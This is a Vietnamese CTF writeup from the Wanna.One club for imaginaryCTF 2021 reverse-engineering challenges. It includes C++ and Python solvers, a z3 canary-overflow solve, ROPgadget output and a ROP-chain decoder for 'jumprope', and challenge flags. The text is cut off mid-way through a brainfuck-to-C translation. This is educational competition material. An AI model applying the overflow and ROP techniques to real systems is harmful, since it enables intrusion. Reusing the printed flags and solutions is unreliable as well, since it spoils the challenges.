wannaShare | Writeup imagynaryCTF 2021 | Pwn + Re + Web + Crypto + Forensics + Misc

PHAPHA_JIàN
22:47 30/07/2021

CLB An toàn Thông tin Wanna.One chia sẻ một số Challenges giải được và việc chia sẻ writeup nhằm mục đích giao lưu học thuật. Mọi đóng-góp ý-kiến bọn mình luôn-luôn tiếp nhận qua mail: wannaone.uit@gmail.com

RE

Mochi Nishi

foliage

Challenge

Entry point

File: foliage

Solve:

Bài này mình sẽ chi tiết vào từng hàm, vì chúng ta cần hiểu code đang làm gì để có thể đưa ra được hướng giải quyết chính xác nhất.
Mở IDA lên thì mình thấy có hàm init_tree():

Entry point

Nhìn hình trên, ta còn thấy một hàm cần phải được nói sơ qua là hàm init_rnd(). Cơ bản thì hàm sẽ tạo ra 2 tham số có giá trị ngẫu nhiên, và chúng ta chỉ được biết 1 trong 2 tham số có giá trị là gì, mình sẽ đặt tên 2 tham số đó là known_seedunknown_seed trong phần tiếp theo của Write Up.
Ta sẽ phân tích hàm init_tree(), đây là một hàm đóng vai trò khá quan trọng trong hàm:

Entry point

Ở vòng for đầu tiên, chương trình sẽ khởi tạo 500001 ô nhớ tương ứng với 500001 địa chỉ trong heap cho mảng subtrees, Mỗi ô nhớ của subtrees trong heap đều có 1 cấu trúc giống nhau: 16 bytes đầu tiên sẽ có giá trị là 0, 8 bytes tiếp theo lưu địa chỉ của ô nhớ và 8 bytes cuối cùng dùng để đánh số ô nhớ, vậy sẽ mất 32 bytes cho 1 ô nhớ, gồm 3 buffer đầu và 1 buffer cuối cho việc đánh số. Mục đích mình tách ra 2 loại buffer như thế để cho tiện trong việc trình bày tiếp theo. Ở vòng for thứ hai chương trình sẽ làm như sau:

Chúng ta sẽ lùi lại một bước và suy nghĩ thử xem, thực chất vòng for thứ 2 thực sự đang làm gì:
Chương trình sẽ tạo ra một cây nhị phân, việc xây dựng cây sẽ được thực hiện bằng cách chọn 2 nút v5+v12v6+v12+1 sẽ là con của nút v11. Đồng thời chọn 1 trong các nút là con của v11 làm đại diện cho tập hợp bộ 3 nút đó.
P/s: Ở đây mình không thể nói được lí do tại sao nó lại swap ở bước số 2 do mình không biết dùng từ gì để diễn tả, có thể nếu quay video vừa debug vừa giải thích thì mình sẽ nói rõ được vấn đề này :D
Quay lại vấn đề chính, vậy ta biết rằng chương trình sẽ tạo ra một cây nhị phân. Ta xem tiếp đoạn tiếp theo của chương trình.

Entry point

Tóm tắt lại thì chương trình sẽ in ra 2 nút bất kì, và yêu cầu mình tìm cha chung nhỏ nhất của 2 nút.
Tới đây thì chúng ta phải đi vào lí thuyết về thuật toán một chút: Trong lĩnh vực về các cuộc thi toán học, có một vấn đề trong bài toán Tree Traversal đó chính là Lowest Common Ancestor, hay viết tắt là LCA. Đây là một bài toán khó nói chung trong các đề thi thuật toán (Các bạn có thể tham khảo trong link này: https://vnoi.info/wiki/algo/data-structures/lca.md)
Chương trình cho chúng ta 50000 truy vấn, và yêu cầu mỗi truy vấn tìm cha chung nhỏ nhất của 2 nút con. Trong trường hợp tệ nhất, nếu như cây được xây dựng là một cây nhị phân bị suy thoái, nghĩa là độ dài của cây sẽ gần bằng với n nếu cây có n nút, thì độ phức tạp sẽ là O(50000 * 500000), đây là một độ phức tạp rất lớn.
Tuy nhiên ở bài này, mình sẽ mặc địch cho rằng chiều cao của cây sẽ là log2(500000) vì đơn giản là cây được tạo bằng thuật toán random, cho nên thuật toán của mình được trình bày như sau:

Mình viết 2 script c++ để tìm đáp án cho từng truy vấn và python dùng để gửi kết quả lên server:

script.cpp

#include <bits/stdc++.h>
#define ulong unsigned long long
using namespace std;
struct node {
    int l, r, h, pre;
};
ulong seed;
int id[500100];
node arr[500100];
ulong lcg(ulong param_1) {
    param_1 = param_1 * 0x5851f42d4c957f2d + 1;
    return param_1;
}
ulong choice(ulong param_1, ulong param_2) {
  return param_2 % param_1;
}
void init_tree() {
    int v11 = 250001;
    int v12 = 0;
    while (v11 <= 500000) {
        int v13 = id[v11];
        seed = lcg(seed);
        int v5 = choice(v11 - v12, seed);
        if (v5 + v12 != v12)
            swap(id[v5 + v12], id[v12]);
        seed = lcg(seed);
        int v6 = choice(v11 - v12 - 1, seed);
        if (v12 + v6 != v12)
            swap(id[v12 + 1 + v6], id[v12 + 1]);
        int u = id[v12], v = id[v12 + 1];
        arr[v13].l = u;
        arr[v13].r = v;
        arr[u].pre = v13;
        arr[v].pre = v13;
        v11 += 1;
        v12 += 2;
    }
}
void init_data() {
    for (int i=0; i<=500000; i++) {
        id[i] = i;
        arr[i].l = -1;
        arr[i].r = -1;
        arr[i].pre = -1;
        arr[i].h = 0;
    }
}
//66022
void process_tree() {
    for (int i=0; i<50000; i++) {
        int x, y;       cin >> x >> y;
        while (arr[x].h > arr[y].h) x = arr[x].pre;
        while (arr[y].h > arr[x].h) y = arr[y].pre;
        while (arr[x].pre != arr[y].pre) {
            x = arr[x].pre;
            y = arr[y].pre;
        }
        cout << arr[x].pre;
        cout << endl;
    }
}
void DFS(int node, int height) {
    arr[node].h = height + 1;
    if (arr[node].l != -1) DFS(arr[node].l, height + 1);
    if (arr[node].r != -1) DFS(arr[node].r, height + 1);
}
void debug_info() {
    for (int i=0; i<=500000; i++)
        if (arr[i].h == 2)
        cout << i << endl;
}
int main() {
    cin >> seed;
    init_data();
    init_tree();
    DFS(500000, -1);
//    debug_info();
    process_tree();
    return 0;
}

script.py

from pwn import *
ans = []
p = process("./a.out")
f = remote("chal.imaginaryctf.org", 42013)
# f = process("./foliage")
print(f.recvuntil("seed: "))
seed = int(f.recvline().decode('utf-8'))
print(seed)
print(f.recv())
p.sendline(str(seed))
f.sendline('42')
x = 0
y = 0
for i in range(50000):
    text = f.recvline().decode('utf-8')
    x = int(text.split(' ')[0])
    y = int(text.split(' ')[1])
    p.sendline('{} {}'.format(x, y))
    text = p.recv()
    res = int(text.decode('utf-8'))
    ans.append(res)
print(f.recv())
for i in range(50000):
    f.sendline(str(ans[i]))
print(f.recv())

ictf{I_can_f1n4lly_see_the_forest_through_the_tr33s}

it's not pwn, I swear!

Challenge

Entry point

File: notpwn

Solve:

Bỏ vào IDA xem thì thấy nhìn có vẻ giống pwn :p, nhìn vào hàm vuln thì có một điều khá kì lạ

Entry point

return v2 - __readfsqword(0x28u);, hình như có gì đó không ổn. Stack canary được kiểm tra bằng cách xor __readfsqword(0x28u) với giá trị nằm sát bên ngoài stack. Nhưng ở đây chương trình lại đem đi trừ. Mình thử nhảy vô hàm __stack_chk_fail để xem thử:

Entry point

À, đây là nơi sẽ kiểm tra input của chúng ta. Lưu ý để có thể nhảy vào được hàm __stack_chk_fail thì chúng ta cần phải làm cho tràn stack. Ở đây input phải có độ dài lớn hơn 10 thì chúng ta mới nhảy vô được, và input được kiểm tra ở vị trí số 11 trở đi.

Entry point

Ở đoạn code này, chương trình sẽ kiểm tra Input của chúng ta bằng biểu thức v24 = v24 * v27 + v28; với v27v28 là 2 đoạn input được chia ra làm 2, việc của chúng ta là phải tìm tham số v24 phù hợp để giải phương trình. Mình sẽ dùng z3 để tìm input phù hợp.

script.py

from z3 import *
s = Solver()
r0, r1 = BitVecs('r0 r1', 64)
s.add((r0 * 0x6231726435333364 + r1) & 0xffffffffffffffff == 0x317EE37C444051C9)
s.add((r0 * 0x317EE37C444051C9 + r1) & 0xffffffffffffffff == 0x65BBFA1E87AA1F8D)
if (s.check() == sat):
    print(s.model())
print('a'*10, end = "")
res = [8232701341654542452, 7220151342919084153]
for i in res:
    print(bytes.fromhex(hex(i)[2:]).decode()[::-1], end = "")

Kết quả ra là aaaaaaaaaath3c@n@ryh@sd!3d, mình đã tự động pad thêm 10 kí tự a ở đầu để có thể ghi đè canary. Mình sẽ nhập kết quả này vào chương trình thử:

Entry point

ictf{m@ry_h@d_@_pr3++y_b!rd_f3ath3rs_bri6ht_and_ye11ow_}

jumprope

Challenge

Entry point

File: jumprope

Solve:

Nhìn lướt sơ chương trình thì mình thấy có hàm checkFlag. Debug hàm này thêm với việc kiểm tra entry points thì mình thấy rằng còn có các hàm tên c, o, r, e, t. Lúc này mình đoán rằng mình sẽ nhập vào input, input đó sau khi encrypt sẽ trở thành địa chỉ của các hàm trên, sau cho nhảy vào các hàm theo thứ tự correct như đề bài kêu.
Tuy nhiên, ở hai hàm o, t còn kiểm tra các tham số truyền vào, nếu xem trong assembly, tham số này chính là thanh ghi edi.

Entry point

Bên trái là assembly, bên phải là source code.
Hình thành được ý tưởng, ta có 2 việc cần làm: Tìm các địa chỉ của các hàm nêu trên và tìm cách để truyền giá trị vào thanh ghi edi để so sánh kết quả của 2 hàm ot.
Việc thứ nhất hoàn toàn có thể làm bằng cách ngồi tìm địa chỉ đầu tiên của các hàm (do PIE đã được tắt). Nhưng làm sao để có thể thêm 1 giá trị vào thanh ghi edi?
Mình có tham khảo pivik và mình biết đây là một bài ROP. nghĩa là mình đi tìm Gadgets cho bài này để có thể thêm một giá trị tuỳ ý vào thanh ghi edi (Chi tiết về ROP các bạn có thể google)
Mình sẽ xài ROPgadget để tìm các gadget:

nguyenguyen753@MochiZou:~/CTF/imaginary/competition/jumprope$ ROPgadget --binary jumprope 
Gadgets information
============================================================
0x0000000000401099 : add ah, dh ; nop dword ptr [rax + rax] ; ret
0x0000000000401057 : add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401169 : add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x401187
0x000000000040126f : add al, ch ; jmp 0x401270
0x0000000000401225 : add al, ch ; xor eax, 0x90fffffe ; pop rbp ; ret
0x00000000004010cb : add bh, bh ; loopne 0x401135 ; nop ; ret
0x000000000040126d : add byte ptr [rax], al ; add al, ch ; jmp 0x401270
0x0000000000401037 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401160 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x401197
0x00000000004011c1 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x4011eb
0x00000000004011a8 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x401205
0x0000000000401148 : add byte ptr [rax], al ; add byte ptr [rax], al ; nop dword ptr [rax] ; jmp 0x4010e0
0x000000000040137b : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x0000000000401098 : add byte ptr [rax], al ; hlt ; nop dword ptr [rax + rax] ; ret
0x0000000000401039 : add byte ptr [rax], al ; jmp 0x401020
0x000000000040116b : add byte ptr [rax], al ; jmp 0x401187
0x0000000000401162 : add byte ptr [rax], al ; jmp 0x401197
0x00000000004011c3 : add byte ptr [rax], al ; jmp 0x4011eb
0x00000000004011aa : add byte ptr [rax], al ; jmp 0x401205
0x00000000004012fe : add byte ptr [rax], al ; jmp 0x40136f
0x000000000040114a : add byte ptr [rax], al ; nop dword ptr [rax] ; jmp 0x4010e0
0x00000000004012fa : add byte ptr [rax], al ; or byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x40136f
0x0000000000401195 : add byte ptr [rax], al ; pop rbp ; ret
0x0000000000401034 : add byte ptr [rax], al ; push 0 ; jmp 0x401020
0x0000000000401044 : add byte ptr [rax], al ; push 1 ; jmp 0x401020
0x0000000000401054 : add byte ptr [rax], al ; push 2 ; jmp 0x401020
0x0000000000401064 : add byte ptr [rax], al ; push 3 ; jmp 0x401020
0x000000000040109e : add byte ptr [rax], al ; ret
0x0000000000401009 : add byte ptr [rax], al ; test rax, rax ; je 0x401012 ; call rax
0x000000000040109d : add byte ptr [rax], r8b ; ret
0x0000000000401137 : add byte ptr [rcx], al ; pop rbp ; ret
0x00000000004010ca : add dil, dil ; loopne 0x401135 ; nop ; ret
0x0000000000401047 : add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401193 : add dword ptr [rax], eax ; add byte ptr [rax], al ; pop rbp ; ret
0x000000000040115c : add dword ptr [rbp + 7], esi ; mov eax, 0 ; jmp 0x401197
0x0000000000401138 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
0x00000000004012f7 : add eax, 0x3048 ; or byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x40136f
0x0000000000401067 : add eax, dword ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401013 : add esp, 8 ; ret
0x0000000000401012 : add rsp, 8 ; ret
0x000000000040122a : call qword ptr [rax + 0x4855c35d]
0x0000000000401257 : call qword ptr [rax + 0x4855c3c9]
0x0000000000401010 : call rax
0x0000000000401168 : cld ; add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x401187
0x00000000004011a7 : cld ; add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x401205
0x000000000040118f : cld ; jl 0x40116f ; mov eax, 1 ; pop rbp ; ret
0x00000000004011a4 : fadd st(7) ; cld ; add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x401205
0x0000000000401474 : fisttp word ptr [rax - 0x7d] ; ret
0x0000000000401042 : fisubr dword ptr [rdi] ; add byte ptr [rax], al ; push 1 ; jmp 0x401020
0x000000000040120e : fmul st(1) ; ret
0x0000000000401191 : fnstsw dword ptr [rax + 1] ; pop rbp ; ret
0x000000000040109a : hlt ; nop dword ptr [rax + rax] ; ret
0x000000000040115b : in al, dx ; add dword ptr [rbp + 7], esi ; mov eax, 0 ; jmp 0x401197
0x000000000040100e : je 0x401012 ; call rax
0x00000000004010c5 : je 0x4010d0 ; mov edi, 0x404340 ; jmp rax
0x0000000000401107 : je 0x401110 ; mov edi, 0x404340 ; jmp rax
0x00000000004011a3 : jge 0x40117d ; mov dword ptr [rbp - 4], 0 ; jmp 0x401205
0x0000000000401190 : jl 0x40116f ; mov eax, 1 ; pop rbp ; ret
0x0000000000401209 : jle 0x4011ae ; mov rax, qword ptr [rbp - 0x28] ; leave ; ret
0x0000000000401378 : jle 0x401302 ; mov eax, 0 ; pop rbp ; ret
0x000000000040103b : jmp 0x401020
0x0000000000401150 : jmp 0x4010e0
0x000000000040116d : jmp 0x401187
0x0000000000401164 : jmp 0x401197
0x00000000004011c5 : jmp 0x4011eb
0x00000000004011ac : jmp 0x401205
0x0000000000401271 : jmp 0x401270
0x0000000000401300 : jmp 0x40136f
0x00000000004010cc : jmp rax
0x000000000040115d : jne 0x401166 ; mov eax, 0 ; jmp 0x401197
0x000000000040117a : jne 0x401183 ; mov eax, 0 ; jmp 0x401197
0x000000000040120f : leave ; ret
0x0000000000401032 : loop 0x401063 ; add byte ptr [rax], al ; push 0 ; jmp 0x401020
0x00000000004010cd : loopne 0x401135 ; nop ; ret
0x0000000000401379 : mov byte ptr [rax], bh ; pop rbp ; ret
0x0000000000401132 : mov byte ptr [rip + 0x3207], 1 ; pop rbp ; ret
0x00000000004011be : mov dword ptr [rbp - 0x1c], 0 ; jmp 0x4011eb
0x00000000004011a5 : mov dword ptr [rbp - 4], 0 ; jmp 0x401205
0x0000000000401166 : mov dword ptr [rbp - 4], 2 ; jmp 0x401187
0x000000000040115f : mov eax, 0 ; jmp 0x401197
0x000000000040137a : mov eax, 0 ; pop rbp ; ret
0x0000000000401192 : mov eax, 1 ; pop rbp ; ret
0x000000000040120c : mov eax, dword ptr [rbp - 0x28] ; leave ; ret
0x00000000004010c7 : mov edi, 0x404340 ; jmp rax
0x000000000040120b : mov rax, qword ptr [rbp - 0x28] ; leave ; ret
0x0000000000401258 : nop ; leave ; ret
0x000000000040122b : nop ; pop rbp ; ret
0x00000000004010cf : nop ; ret
0x000000000040109b : nop dword ptr [rax + rax] ; ret
0x000000000040114c : nop dword ptr [rax] ; jmp 0x4010e0
0x000000000040148d : nop dword ptr [rax] ; ret
0x00000000004012fc : or byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x40136f
0x00000000004010c6 : or dword ptr [rdi + 0x404340], edi ; jmp rax
0x0000000000401484 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401486 : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401488 : pop r14 ; pop r15 ; ret
0x000000000040148a : pop r15 ; ret
0x0000000000401483 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401487 : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000401139 : pop rbp ; ret
0x0000000000401377 : pop rdi ; jle 0x401302 ; mov eax, 0 ; pop rbp ; ret
0x000000000040148b : pop rdi ; ret
0x0000000000401489 : pop rsi ; pop r15 ; ret
0x0000000000401485 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401036 : push 0 ; jmp 0x401020
0x0000000000401046 : push 1 ; jmp 0x401020
0x0000000000401056 : push 2 ; jmp 0x401020
0x0000000000401066 : push 3 ; jmp 0x401020
0x0000000000401016 : ret
0x0000000000401346 : ret 0x8b48
0x0000000000401062 : retf 0x2f
0x0000000000401353 : retf 0x58b
0x0000000000401179 : sal byte ptr [rbp + 7], 0xb8 ; add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x401197
0x000000000040100d : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x0000000000401052 : shr byte ptr [rdi], cl ; add byte ptr [rax], al ; push 2 ; jmp 0x401020
0x0000000000401495 : sub esp, 8 ; add rsp, 8 ; ret
0x0000000000401494 : sub rsp, 8 ; add rsp, 8 ; ret
0x000000000040100c : test eax, eax ; je 0x401012 ; call rax
0x00000000004010c3 : test eax, eax ; je 0x4010d0 ; mov edi, 0x404340 ; jmp rax
0x0000000000401105 : test eax, eax ; je 0x401110 ; mov edi, 0x404340 ; jmp rax
0x0000000000401178 : test eax, eax ; jne 0x401183 ; mov eax, 0 ; jmp 0x401197
0x000000000040100b : test rax, rax ; je 0x401012 ; call rax
0x0000000000401135 : xor al, byte ptr [rax] ; add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000401227 : xor eax, 0x90fffffe ; pop rbp ; ret
0x0000000000401165 : xor edi, eax ; cld ; add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x401187
Unique gadgets found: 125

Mình thấy 0x000000000040148b : pop rdi ; ret có vẻ hợp lí, thế mình dùng địa chỉ này, viết script để decode ra input thử xem có đúng không

script.cpp

#include <bits/stdc++.h>
using namespace std;
#define ulong unsigned long
#define uint unsigned int
int listt[10000] = {253, 60, 196, 14, 118, 255, 75, 69, 31, 64, 244, 230, 128, 184, 181, 232, 118, 142, 59, 248, 228, 189, 201, 199, 63, 230, 207, 21, 148, 154, 138, 40, 78, 94, 30, 63, 37, 212, 44, 169, 54, 40, 66, 64, 147, 141, 15, 255, 174, 43, 43, 223, 126, 26, 78, 5, 99, 208, 136, 225, 161, 31, 90, 61, 54, 79, 174, 137, 123, 215, 39, 208, 41, 192, 158, 240, 32, 223, 105, 119, 148, 233, 88, 15, 184, 236, 249, 36};
int addr[1000] = {17, 18, 64, 0, 0, 0, 0, 0, 139, 20, 64, 0, 0, 0, 0, 0, 211, 192, 55, 19, 0, 0, 0, 0, 66, 18, 64, 0, 0, 0, 0, 0, 91, 18, 64, 0, 0, 0, 0, 0, 91, 18, 64, 0, 0, 0, 0, 0, 120, 18, 64, 0, 0, 0, 0, 0, 17, 18, 64, 0, 0, 0, 0, 0, 139, 20, 64, 0, 0, 0, 0, 0, 206, 250, 173, 222, 0, 0, 0, 0, 149, 18, 64, 0, 0, 0, 0, 0};
int test(int param_1)
{
  int uVar1;
  int local_c;
  if (param_1 == 1) {
    uVar1 = 0;
  }
  else {
    local_c = 2;
    while (local_c < param_1 + -1) {
      if (param_1 % local_c == 0) {
        return 0;
      }
      local_c = local_c + 1;
    }
    uVar1 = 1;
  }
  return uVar1;
}
ulong next(ulong param_1)
{
  int iVar1;
  ulong local_30;
  int local_24;
  ulong local_20;
  ulong local_18;
  int local_c;
  local_c = 0;
  local_30 = param_1;
  while (local_c < 8) {
    local_18 = 0;
    local_20 = local_30;
    local_24 = 0;
    while (local_24 < 8) {
      iVar1 = test(local_24 + 1);
      if (iVar1 != 0) {
        local_18 = local_18 ^ (uint)local_20 & 1;
      }
      local_20 = local_20 >> 1;
      local_24 = local_24 + 1;
    }
    local_30 = (local_30 >> 1) + local_18 * 0x80;
    local_c = local_c + 1;
  }
  return local_30;
}
int main() {
    int val = 2, num = 0;
    cout << (0xcb ^ listt[8] ^ (int)'_') << endl;
    for (int i=8; i<=95; i++) {
        val = next(val) & 0xff;
        int k = (val ^ (listt[(num)] & 0xff)) & 0xff;
        cout << (char)((k ^ addr[num]) & 0xff);
        num += 1;
    }
}

Đây là script mình giải được viết bằng c++. Để cho các bạn đọc có thể dễ hiểu ý tưởng của bài, mình sẽ kèm thêm một script viết bằng python để in ra các giá trị của địa chỉ:

script.py

c = 0x0000000000401211
gadgets = 0x000000000040148b
o = 0x0000000000401242
e = 0x0000000000401278
r = 0x000000000040125B
t = 0x0000000000401295
li = []
def convert(val):
    for i in range(8):
        k = i * 8
        car = (val >> k) & 0xff
        li.append(car)
convert(c)
convert(gadgets)
convert(0x1337C0D3)
convert(o)
convert(r)
convert(r)
convert(e)
convert(c)
convert(gadgets)
convert(0xDEADFACE)
convert(t)
print(li)
print(len(li))
k = [int(i, 16) for i in '0FD, 3C, 0C4, 0E, 76, 0FF, 4B, 45, 1F, 40, 0F4, 0E6, 80, 0B8, 0B5, 0E8, 76, 8E, 3B, 0F8, 0E4, 0BD, 0C9, 0C7, 3F, 0E6, 0CF, 15, 94, 9A, 8A, 28, 4E, 5E, 1E, 3F, 25, 0D4, 2C, 0A9, 36, 28, 42, 40, 93, 8D, 0F, 0FF, 0AE, 2B, 2B, 0DF, 7E, 1A, 4E, 5, 63, 0D0, 88, 0E1, 0A1, 1F, 5A, 3D, 36, 4F, 0AE, 89, 7B, 0D7, 27, 0D0, 29, 0C0, 9E, 0F0, 20, 0DF, 69, 77, 94, 0E9, 58, 0F, 0B8, 0EC, 0F9, 24'.split(', ')]
o = [17, 18, 64, 0, 0, 0, 0, 0, 46, 18, 64, 0, 0, 0, 0, 0, 91, 18, 64, 0, 0, 0, 0, 0, 91, 18, 64, 0, 0, 0, 0, 0, 120, 18, 64, 0, 0, 0, 0, 0, 17, 18, 64, 0, 0, 0, 0, 0, 149, 18, 64, 0, 0, 0, 0, 0]
print(k)
print(len(o))
print(len(k))

ictf{n0t_last_night_but_the_night_bef0re_twenty_f0ur_hackers_came_a_kn0cking_at_my_d00r}

no thoughts, head empty

Challenge

Entry point

File: stings

Solve:

Đây là một bài được viết bằng brainf*ck. Sau khi hỏi anh Google thì mình tìm được cách chuyển từ brainf*ck sang c: https://github.com/paulkaefer/bftoc
Dưới đây là source code viết bằng c sau khi được chuyển:

/* This is a translation of flag_min.bf, generated by bftoc.py (by Paul Kaefer)
 * It was generated on Tuesday, July 27, 2021 at 07:18PM
 */
#include <stdio.h>
void main(void)
{
    int size = 1000;
    int tape[size];
    int i = 0;
    /* Clearing the tape (array) */
    for (i=0; i<size; i++)
        tape[i] = 0;
    int ptr = 0;
    ptr += 2;
    tape[ptr] += 11;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 11;
        ptr += 1;
        tape[ptr] -= 1;
    }
    tape[ptr] -= 2;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] -= 8;
        ptr += 1;
        tape[ptr] += 1;
    }
    ptr += 1;
    tape[ptr] += 10;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 10;
        ptr += 1;
        tape[ptr] -= 1;
    }
    tape[ptr] -= 1;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] -= 1;
        ptr += 1;
        tape[ptr] += 1;
    }
    ptr += 1;
    tape[ptr] += 11;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 11;
        ptr += 1;
        tape[ptr] -= 1;
    }
    tape[ptr] -= 1;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] -= 5;
        ptr += 1;
        tape[ptr] += 1;
    }
    ptr += 1;
    tape[ptr] += 11;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 11;
        ptr += 1;
        tape[ptr] -= 1;
    }
    tape[ptr] -= 1;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] -= 19;
        ptr += 1;
        tape[ptr] += 1;
    }
    ptr += 1;
    tape[ptr] += 12;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 12;
        ptr += 1;
        tape[ptr] -= 1;
    }
    tape[ptr] -= 3;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] -= 7;
        ptr += 1;
        tape[ptr] += 1;
    }
    ptr += 1;
    tape[ptr] += 7;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 7;
        ptr += 1;
        tape[ptr] -= 1;
    }
    tape[ptr] -= 1;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] -= 1;
        ptr += 1;
        tape[ptr] += 1;
    }
    ptr += 1;
    tape[ptr] += 11;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 11;
        ptr += 1;
        tape[ptr] -= 1;
    }
    tape[ptr] -= 1;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] -= 11;
        ptr += 1;
        tape[ptr] += 1;
    }
    ptr += 1;
    tape[ptr] += 8;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 8;
        ptr += 1;
        tape[ptr] -= 1;
    }
    tape[ptr] -= 1;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] -= 13;
        ptr += 1;
        tape[ptr] += 1;
    }
    ptr += 1;
    tape[ptr] += 10;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 10;
        ptr += 1;
        tape[ptr] -= 1;
    }
    tape[ptr] -= 1;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] -= 5;
        ptr += 1;
        tape[ptr] += 1;
    }
    ptr += 1;
    tape[ptr] += 10;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 10;
        ptr += 1;
        tape[ptr] -= 1;
    }
    tape[ptr] -= 1;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] -= 1;
        ptr += 1;
        tape[ptr] += 1;
    }
    ptr += 1;
    tape[ptr] += 11;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 11;
        ptr += 1;
        tape[ptr] -= 1;
    }
    tape[ptr] -= 1;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] -= 17;
        ptr += 1;
        tape[ptr] += 1;
    }
    ptr += 1;
    tape[ptr] += 8;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 8;
        ptr += 1;
        tape[ptr] -= 1;
    }
    ptr += 1;
    tape[ptr] += 11;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 11;
        ptr += 1;
        tape[ptr] -= 1;
    }
    tape[ptr] -= 1;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] -= 7;
        ptr += 1;
        tape[ptr] += 1;
    }
    ptr += 1;
    tape[ptr] += 8;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 8;
        ptr += 1;
        tape[ptr] -= 1;
    }
    ptr += 1;
    tape[ptr] += 10;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 10;
        ptr += 1;
        tape[ptr] -= 1;
    }
    tape[ptr] -= 1;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] -= 1;
        ptr += 1;
        tape[ptr] += 1;
    }
    ptr += 1;
    tape[ptr] += 11;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 11;
        ptr += 1;
        tape[ptr] -= 1;
    }
    tape[ptr] -= 1;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] -= 5;
        ptr += 1;
        tape[ptr] += 1;
    }
    ptr += 1;
    tape[ptr] += 8;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 8;
        ptr += 1;
        tape[ptr] -= 1;
    }
    tape[ptr] -= 1;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] -= 13;
        ptr += 1;
        tape[ptr] += 1;
    }
    ptr += 1;
    tape[ptr] += 11;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 11;
        ptr += 1;
        tape[ptr] -= 1;
    }
    tape[ptr] -= 1;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] -= 7;
        ptr += 1;
        tape[ptr] += 1;
    }
    ptr += 1;
    tape[ptr] += 10;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 10;
        ptr += 1;
        tape[ptr] -= 1;
    }
    tape[ptr] -= 1;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] -= 5;
        ptr += 1;
        tape[ptr] += 1;
    }
    ptr += 1;
    tape[ptr] += 7;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 7;
        ptr += 1;
        tape[ptr] -= 1;
    }
    tape[ptr] -= 1;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] -= 1;
        ptr += 1;
        tape[ptr] += 1;
    }
    ptr += 1;
    tape[ptr] += 11;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 11;
        ptr += 1;
        tape[ptr] -= 1;
    }
    tape[ptr] -= 1;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] -= 19;
        ptr += 1;
        tape[ptr] += 1;
    }
    ptr += 1;
